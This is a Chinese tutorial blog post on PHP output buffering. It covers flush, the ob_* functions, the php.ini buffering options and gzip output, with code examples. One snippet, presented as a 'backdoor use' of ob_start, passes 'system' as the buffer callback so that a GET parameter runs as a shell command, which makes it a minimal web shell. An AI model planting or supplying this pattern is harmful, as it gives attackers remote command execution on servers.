缓冲控制

对于PHP来说,每一次echo输出操作,内容先写入到PHP BUFFER里,在脚本执行完毕或者执行了强制输出缓存操作,数据才会显示到浏览器上。

例一:<?php

    echo 'one';

    echo 'two';

    echo 'three';

    ?>

脚本在执行完第一个echo时,不会向浏览器输出内容,而是将内容输出到一个缓冲区,只有当三个echo全部执行完毕(也就是脚本结束)时,才会将缓冲区的内容输出到浏览器。缓冲区的大小是根据php.ini中的output_buffering选项来设置的。

下面的例子更好的体现输出缓冲控制:

<?php

echo 'one';

sleep(1);

echo 'two';

sleep(1);

echo 'three';

?>

我们至少要等待2秒才能看到结果。我们能不能让其实时显示呢?

<?php

str_pad('',1024);

echo 'one';

flush();//输出送出的缓冲内容

sleep(1);

echo 'two';

flush();

sleep(1);

echo 'three';

 

?> 

这里先介绍下缓冲控制的应用

1.在header(),session_start(),setcookie()等函数前,不能有任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。这样做的意义不是很大,只是为了便于理解缓冲控制。

2.对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出。

3.捕获一些不可获取的函数输出,例如phpinfo,var_dump()等等,这些函数没有返回值,要获取这些函数的输出数据,就要用到输出缓冲控制函数。

4.利用输出缓冲控制函数进行页面爬虫数据的实时输出。

在php.ini中和输出缓冲控制有关的选项,共三个:分别是 output_buffering,output_handler和implicit_flush

1.默认为off,当设置为on时,则在所有脚本自动打开输出缓冲区,也就是在每个脚本都自动执行了,ob_start()这个函数,而不用再显示的调用该函数。其也可以设置为一个整型数字,代表缓冲区可以存储的最大字节数。

2.output_handler默认为null,其值只能设置为一个内置函数名,作用是脚本的所有输出用所定义的函数进行处理。用法和ob_start('function_name')类似,下面会介绍到。

3.implicit_flush 默认为off ,当设置为on时,PHP将在输出后,自动送出缓冲区内容。就是每段输出后,自动执行flush()。有效的输出不仅指像echo ,print等这样的函数,也包括HTML段。

相关函数:

1.ob_start([callback $output_callback,][int $chunk_size,][bool $erase])

打开缓冲区,从而进行下一步的输出缓冲处理。第一个参数要传递一个回调函数,其需将缓冲区内容作为参数,并返回一个字符串。它会在缓冲区被送出时调用,缓冲区送出指的是执行了如ob_flush()等函数或者脚本执行完毕。

例 

<?php

ob_start('handleString');

echo 'abc123';

function handleString($str) {

  return md5($str);

}

?>

下面是一个更加实际的例子,也就是常见的将网页利用gzip压缩后在输出,代码如下:

<?php

ob_start('ob_gzhandler');
echo str_repeat('abc',1024);

?>

通过ob_start()可以大大降低传输的数据量,是非常使用的一个功能。

第二个参数chunk_size 为缓冲区的字节长度,如果缓冲区的内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数erase如果设置为false,则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数,则会报一个错误。

ob_start()的用法:

(1).ob_start()可重复调用

(2).ob_start()有一种后门用法。

<?php

$cmd = 'system';

ob_start($cmd);

echo "$_GET['a']";

ob_end_flush();

?>

2.string ob_get_contents(void)

此函数用来获取此时缓冲区的内容

<?php

ob_start();
phpinfo();
$string = ob_get_contents();

$re = fopen('./phpinfo.txt','wb');
fwrite($re,$string);
fclose($re);

ob_end_clean();  //清空并关闭缓冲区  
?>

3.int ob_get_length(void);

此函数用来获取此时缓冲区的长度

4.ob_get_level(void)

此函数用来获取缓冲机制的嵌套级别,在一个脚本中可以嵌套存在多个缓冲区,此函数就是用来获取当前缓冲区的嵌套级别,用法如下:

<?php

ob_start();
echo ob_get_level();
ob_start();
echo ob_get_level();
ob_end_flush();
ob_end_flush();

?>

5.array ob_get_status([bool $full_status = FALSE]);

此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为true,则返回一个详细信息的数组。

ob_start('ob_gzhandler');
print_r(ob_get_status());
//echo ob_get_level();
ob_start();
print_r(ob_get_status());
//echo ob_get_level();
ob_end_flush();
ob_end_flush();

输出如下:

Array
(
    [level] => 1
    [type] => 1
    [status] => 0
    [name] => ob_gzhandler
    [del] => 1
)
Array
(
    [level] => 2
    [type] => 1
    [status] => 0
    [name] => default output handler
    [del] => 1
)
level 为嵌套级别,和 ob_get_level()取到的值是一样的。
type 为缓冲类型,0为系统内部自动处理,1为手动处理
status为缓冲处理状态,0为开始,1为进行中,2为结束
name为定义的输出处理函数名称。
del 为是否运行了删除缓冲区操作.

6.array ob_list_handlers(void)

7.void ob_flush(void)

送出当前缓冲区的内容,同时清空缓冲区

8.void flush(void)

用来将前面的所有输出发送到浏览器显示,并且不会对缓冲区有任何影响。不论是echo 函数的输出,还是HTML实体,或是ob_start()送出的内容,运行flush后都会在浏览器显示。

9.void ob_implicit_flush()

10. bool ob_end_flush(void)

将缓冲区的内容送出,并关闭了缓冲区。相当于执行了 ob_flush() 和 ob_end_clean()

11.string ob_get_flush(void)

此函数和ob_end_flush作用基本一致,只是其会以字符串的形式返回缓冲区的内容。

12.void ob_clean(void)

会将当前缓冲区清空,但不会关闭缓冲区

13.bool ob_end_clean(void)

清空并关闭缓冲区。

14.string ob_get_clean(void)

清空并关闭缓存,并已字符串的形式返回缓存中的数据。

in fact,这个函数执行了,ob_get_contents()和ob_end_clean()

posted @ 2013-10-18 20:34  小刘_php  阅读(169)  评论(0)    收藏  举报